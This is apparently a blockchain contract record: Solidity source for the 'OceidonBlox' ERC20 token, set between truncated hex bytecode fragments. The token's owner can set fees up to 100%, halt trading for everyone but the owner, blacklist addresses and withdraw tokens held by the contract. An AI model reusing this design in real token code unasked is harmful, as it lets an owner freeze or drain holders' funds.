fffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506147ab81614cf9565b6147b58483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614837876136b2565b95509550955095509550955061489586600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061492a85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061497681614cf9565b6149808483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614a02876136b2565b955095509550955095509550614a6087600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614af586600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614b8a83600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c1f85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c6b81614cf9565b614c758483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601154600f81905550601254601081905550565b6000614d036135b5565b90506000614d1a8284613a4590919063ffffffff16565b9050614d6e81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614e9957614e5583600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b614eb382600a5461371990919063ffffffff16565b600a81905550614ece81600b5461362a90919063ffffffff16565b600b81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122054a863e336d497e0915c820bc39316942686544d39c5ab8c71992c3c8d3ff3d664736f6c634300060c0033
[ 13, 11 ]
0xf2488193a387ead5182043baa6c77d6ba1e13277
// SPDX-License-Identifier: Unlicensed pragma solidity 0.8.10; abstract contract Initializable { bool private _initialized; bool private _initializing; modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC20Upgradeable { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20MetadataUpgradeable is IERC20Upgradeable { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library AddressUpgradeable { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function token0() external view returns (address); function token1() external view returns (address); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } interface IOceidonNFT { function balanceOf(address account, uint256 id) external view returns (uint256); } library Babylonian { function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } // else z = 0 } } library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract OceidonBlox is ERC20Upgradeable, OwnableUpgradeable { using AddressUpgradeable for address; using SafeERC20Upgradeable for IERC20Upgradeable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; uint256[] public developmentFee; uint256[] public liquidityFee; uint256[] public otherFee; uint256 private developmentFeeTotal; uint256 private liquidityFeeTotal; uint256 private otherFeeTotal; uint256 public swapTokensAtAmount; uint256 public maxTxAmount; uint256 public maxWalletAmount; address public constant USDCAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public otherTokenAddress; address public developmentFeeAddress; address public otherTokenFeeAddress; bool private swapping; bool public swapEnable; bool public tradingEnabled; bool private initFlag; mapping (address => bool) public isExcludedFromFees; mapping (address => bool) public automatedMarketMakerPairs; mapping (address => bool) public isExcludedFromMaxWalletToken; address public constant uniswapV2_OBLOXUSDCPair = 0xB1636Da7243bED31B988d68026C3289Df258d252; mapping (address => bool) public blacklist; address public constant OBLOXNFT = 0xD7e603aC5A64a7327Db5a40cc45e88ae272ECd1C; bool public tokenDiscountEnable; uint256 public token2Discount; uint256 public token3Discount; uint256 public token2DiscountBuyDev; uint256 public token2DiscountBuyLiquidity; uint256 public token3DiscountBuyDev; uint256 public token3DiscountBuyLiquidity; uint256 public token2DiscountSellDev; uint256 public token2DiscountSellLiquidity; uint256 public token3DiscountSellDev; uint256 public token3DiscountSellLiquidity; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event ExcludeMaxWalletToken(address indexed account, bool isExcluded); event TradingEnabled(bool enabled); event SetBlacklist(address indexed account, bool indexed isBanned); function initialize() external initializer { __Ownable_init(); __ERC20_init("Oceidon Blox", "OBLOX"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), USDCAddress); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(uniswapV2Pair, true); excludeFromFees(address(this), true); excludeFromFees(owner(), true); isExcludedFromMaxWalletToken[uniswapV2Pair] = true; isExcludedFromMaxWalletToken[address(this)] = true; isExcludedFromMaxWalletToken[owner()] = true; swapTokensAtAmount = 10_000_000 * (10**18); maxTxAmount = 10_000_000_000 * (10**18); maxWalletAmount = 10_000_000_000 * (10**18); developmentFeeAddress = 0xeC82E2d1184a38c192A0cBD8Fa84b6A3d6A127DB; developmentFee.push(200); developmentFee.push(200); developmentFee.push(200); liquidityFee.push(500); liquidityFee.push(500); liquidityFee.push(500); otherFee.push(0); otherFee.push(0); otherFee.push(0); swapEnable = true; initFlag = true; _mint(0x1e091F3B36C2771F39DD1b30f698689811478188, 10_000_000_000 * (10**18)); } function initsecond() external onlyOwner { tokenDiscountEnable = true; token2Discount = 2855; token3Discount = 1439; blacklist[0xd14Ff3cADe49954cea0119b54B97935688cCa53F] = true; isExcludedFromMaxWalletToken[uniswapV2_OBLOXUSDCPair] = true; automatedMarketMakerPairs[uniswapV2_OBLOXUSDCPair] = true; swapTokensAtAmount = 4_000_000 * (10**18); swapEnable = true; } function initthird() external onlyOwner { tokenDiscountEnable = true; swapEnable = true; token2Discount = 0; token3Discount = 0; token2DiscountBuyDev = 10000; token3DiscountBuyDev = 10000; token2DiscountBuyLiquidity = 10000; token3DiscountBuyLiquidity = 10000; developmentFeeTotal = 0; liquidityFeeTotal = 0; } receive() external payable { } function getDevelopmentFeeTotal() external view onlyOwner returns (uint256) { return developmentFeeTotal; } function getLiquidityFeeTotal() external view onlyOwner returns (uint256) { return liquidityFeeTotal; } function setDevelopmentFeeTotal(uint256 amount) external onlyOwner { developmentFeeTotal = amount; } function setLiquidityFeeTotal(uint256 amount) external onlyOwner { liquidityFeeTotal = amount; } function enableTrading(bool _enabled) external onlyOwner { tradingEnabled = _enabled; emit TradingEnabled(_enabled); } function setSwapTokensAtAmount(uint256 amount) external onlyOwner { require(amount <= totalSupply(), "Amount cannot be over the total supply."); swapTokensAtAmount = amount; } function setMaxTxAmount(uint256 amount) external onlyOwner { require(amount <= totalSupply(), "Amount cannot be over the total supply."); maxTxAmount = amount; } function setMaxWalletAmount(uint256 amount) public onlyOwner { require(amount <= totalSupply(), "Amount cannot be over the total supply."); maxWalletAmount = amount; } function setSwapEnable(bool _enabled) public onlyOwner { swapEnable = _enabled; } function setDevelopmentFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner { require(buy <= 10000, "Exceeds maximum fee"); require(sell <= 10000, "Exceeds maximum fee"); require(p2p <= 10000, "Exceeds maximum fee"); developmentFee[0] = buy; developmentFee[1] = sell; developmentFee[2] = p2p; } function setLiquidityFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner { require(buy <= 10000, "Exceeds maximum fee"); require(sell <= 10000, "Exceeds maximum fee"); require(p2p <= 10000, "Exceeds maximum fee"); liquidityFee[0] = buy; liquidityFee[1] = sell; liquidityFee[2] = p2p; } function setOtherFee(uint256 buy, uint256 sell, uint256 p2p) external onlyOwner { require(buy <= 10000, "Exceeds maximum fee"); require(sell <= 10000, "Exceeds maximum fee"); require(p2p <= 10000, "Exceeds maximum fee"); otherFee[0] = buy; otherFee[1] = sell; otherFee[2] = p2p; } function excludeFromFees(address account, bool excluded) public onlyOwner { require(isExcludedFromFees[account] != excluded, "Account is already the value of 'excluded'"); isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeFromMaxWalletToken(address account, bool excluded) public onlyOwner { require(isExcludedFromMaxWalletToken[account] != excluded, "Account is already the value of 'excluded'"); isExcludedFromMaxWalletToken[account] = excluded; emit ExcludeMaxWalletToken(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The Uniswap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function setDevelopmentFeeAddress(address payable newAddress) external onlyOwner { require(newAddress != address(0), "zero-address not allowed"); developmentFeeAddress = newAddress; } function setOtherTokenFeeAddress(address payable newAddress) external onlyOwner { require(newAddress != address(0), "zero-address not allowed"); otherTokenFeeAddress = newAddress; } function setOtherTokenAddress(address newAddress) external onlyOwner { require(newAddress != address(0), "zero-address not allowed"); otherTokenAddress = newAddress; } function setBlacklist(address account, bool isBanned) public onlyOwner { require(blacklist[account] != isBanned, "This account is already set to that value"); blacklist[account] = isBanned; emit SetBlacklist(account, isBanned); } function setBlacklistBatch(address[] memory accounts, bool isBanned) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { blacklist[accounts[i]] = isBanned; } } function setTokenDiscountEnable(bool _enabled) public onlyOwner { tokenDiscountEnable = _enabled; } function setTokensDiscount(uint256 _token2Discount, uint256 _token3Discount) public onlyOwner { require(_token2Discount <= 10000, "Exceeds maximum fee"); require(_token3Discount <= 10000, "Exceeds maximum fee"); token2Discount = _token2Discount; token3Discount = _token3Discount; } function setTokensDiscountOnBuy(uint256 _token2DiscountBuyDev, uint256 _token2DiscountBuyLiquidity, uint256 _token3DiscountBuyDev, uint256 _token3DiscountBuyLiquidity) public onlyOwner { require(_token2DiscountBuyDev <= 10000, "Exceeds maximum fee"); require(_token2DiscountBuyLiquidity <= 10000, "Exceeds maximum fee"); require(_token3DiscountBuyDev <= 10000, "Exceeds maximum fee"); require(_token3DiscountBuyLiquidity <= 10000, "Exceeds maximum fee"); token2DiscountBuyDev = _token2DiscountBuyDev; token2DiscountBuyLiquidity = _token2DiscountBuyLiquidity; token3DiscountBuyDev = _token3DiscountBuyDev; token3DiscountBuyLiquidity = _token3DiscountBuyLiquidity; } function setTokensDiscountOnSell(uint256 _token2DiscountSellDev, uint256 _token2DiscountSellLiquidity, uint256 _token3DiscountSellDev, uint256 _token3DiscountSellLiquidity) public onlyOwner { require(_token2DiscountSellDev <= 10000, "Exceeds maximum fee"); require(_token2DiscountSellLiquidity <= 10000, "Exceeds maximum fee"); require(_token3DiscountSellDev <= 10000, "Exceeds maximum fee"); require(_token3DiscountSellLiquidity <= 10000, "Exceeds maximum fee"); token2DiscountSellDev = _token2DiscountSellDev; token2DiscountSellLiquidity = _token2DiscountSellLiquidity; token3DiscountSellDev = _token3DiscountSellDev; token3DiscountSellLiquidity = _token3DiscountSellLiquidity; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(blacklist[from] == false && blacklist[to] == false, "Sender or receiver are not allowed to trade"); if(from != owner() && to != owner()) { require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); require(tradingEnabled, "Trading and token transfers disabled."); } if(!isExcludedFromMaxWalletToken[to] && !automatedMarketMakerPairs[to]) { uint256 balanceRecepient = balanceOf(to); require(balanceRecepient + amount <= maxWalletAmount, "Exceeds maximum wallet token amount"); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 devDiscount = 0; uint256 liquidityDiscount = 0; if(tokenDiscountEnable) { // P2P discount uint256 token2DevDiscount = token2Discount; uint256 token2LiquidityDiscount = token2Discount; uint256 token3DevDiscount = token3Discount; uint256 token3LiquidityDiscount = token3Discount; // SELL discount if(automatedMarketMakerPairs[to]) { token2DevDiscount = token2DiscountSellDev; token2LiquidityDiscount = token2DiscountSellLiquidity; token3DevDiscount = token3DiscountSellDev; token3LiquidityDiscount = token3DiscountSellLiquidity; } // BUY discount if(automatedMarketMakerPairs[from]) { token2DevDiscount = token2DiscountBuyDev; token2LiquidityDiscount = token2DiscountBuyLiquidity; token3DevDiscount = token3DiscountBuyDev; token3LiquidityDiscount = token3DiscountBuyLiquidity; } if(IOceidonNFT(OBLOXNFT).balanceOf(from, 2) >= 1 || IOceidonNFT(OBLOXNFT).balanceOf(to, 2) >= 1) { devDiscount = token2DevDiscount; liquidityDiscount = token2LiquidityDiscount; } if(IOceidonNFT(OBLOXNFT).balanceOf(from, 3) >= 1 || IOceidonNFT(OBLOXNFT).balanceOf(to, 3) >= 1) { devDiscount = token3DevDiscount; liquidityDiscount = token3LiquidityDiscount; } } uint256 allfee; allfee = collectFee(amount, automatedMarketMakerPairs[to], !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to], devDiscount, liquidityDiscount); if(allfee > 0) { super._transfer(from, address(this), allfee); } amount = amount - allfee; } super._transfer(from, to, amount); } function devFeeSwap() public onlyOwner { require(swapEnable, "Swap is not enabled"); require(!swapping, "Swapping is in progress"); swapping = true; uint256 tokenToDevelopment = developmentFeeTotal; uint256 tokenToOther = otherFeeTotal; swapTokensForUSDC(tokenToDevelopment, developmentFeeAddress); if(tokenToOther > 0 && otherTokenAddress != address(0)){ swapTokensForOther(tokenToOther); } developmentFeeTotal = developmentFeeTotal - tokenToDevelopment; otherFeeTotal = otherFeeTotal - tokenToOther; swapping = false; } function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) internal pure returns (uint256) { return (Babylonian.sqrt( reserveIn * ((userIn * 3988000) + (reserveIn * 3988009)) ) - (reserveIn * 1997)) / 1994; } function collectFee(uint256 amount, bool sell, bool p2p, uint256 devDiscount, uint256 liquidityDiscount) private returns (uint256) { uint256 totalFee; uint256 _developmentFee = amount * (p2p ? developmentFee[2] : sell ? developmentFee[1] : developmentFee[0]) / 10000 * (10000 - devDiscount) / 10000; developmentFeeTotal = developmentFeeTotal + _developmentFee; uint256 _liquidityFee = amount * (p2p ? liquidityFee[2] : sell ? liquidityFee[1] : liquidityFee[0]) / 10000 * (10000 - liquidityDiscount) / 10000; liquidityFeeTotal = liquidityFeeTotal + _liquidityFee; uint256 _otherFee = amount * (p2p ? otherFee[2] : sell ? otherFee[1] : otherFee[0]) / 10000; otherFeeTotal = otherFeeTotal + _otherFee; totalFee = _developmentFee + _liquidityFee + _otherFee; return totalFee; } function addLiquidity(uint256 tokenAmount, uint256 usdcAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); IERC20Upgradeable(USDCAddress).approve(address(uniswapV2Router), usdcAmount); uniswapV2Router.addLiquidity( address(this), USDCAddress, tokenAmount, usdcAmount, 0, 0, address(this), block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapTokensForUSDC(uint256 tokenAmount, address receiver) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = USDCAddress; _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, path, receiver, block.timestamp ); } function swapTokensForOther(uint256 tokenAmount) private { address[] memory path = new address[](3); path[0] = address(this); path[1] = USDCAddress; path[2] = otherTokenAddress; _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, path, otherTokenFeeAddress, block.timestamp ); } function withdrawLiquidityFee(address to) public onlyOwner { IERC20Upgradeable(address(this)).transfer(to, liquidityFeeTotal); liquidityFeeTotal = 0; } function transferTokens(address tokenAddress, address to, uint256 amount) public onlyOwner { IERC20Upgradeable(tokenAddress).transfer(to, amount); } function migrateETH(address payable recipient) public onlyOwner { AddressUpgradeable.sendValue(recipient, address(this).balance); } }
0x60806040526004361061044b5760003560e01c80638d8743b011610234578063c64966f71161012e578063e2f45605116100b6578063f275f64b1161007a578063f275f64b14610d15578063f2fde38b14610d35578063f90c830814610d55578063f9f92be414610d6b578063fae5655f14610d9b57600080fd5b8063e2f4560514610c77578063e40ffe0014610c8d578063e930320914610cad578063ea0a605f14610cd5578063ec28438a14610cf557600080fd5b8063dd71c8e5116100fd578063dd71c8e514610beb578063de0f150214610c0b578063dee64ed214610c2b578063df5e8da014610c41578063e270dac714610c5757600080fd5b8063c64966f714610b64578063d596ff0514610b7a578063dc121a4e14610b8f578063dd62ed3e14610ba557600080fd5b8063a9059cbb116101bc578063bc6478c311610180578063bc6478c314610ad8578063bca0cf1c14610af8578063bca6412314610b18578063c024666814610b2e578063c3b9b1e114610b4e57600080fd5b8063a9059cbb14610a3c578063aa4bde2814610a5c578063afa4f3b214610a72578063b62496f514610a92578063b811d7d514610ac257600080fd5b8063a046bc7811610203578063a046bc78146109a6578063a3870031146109c6578063a457c2d7146109e6578063a64b6e5f14610a06578063a808b5ec14610a2657600080fd5b80638d8743b0146109335780638da5cb5b1461095357806395d89b41146109715780639a7a23d61461098657600080fd5b806349a034891161034557806370a08231116102cd5780637c093a1d1161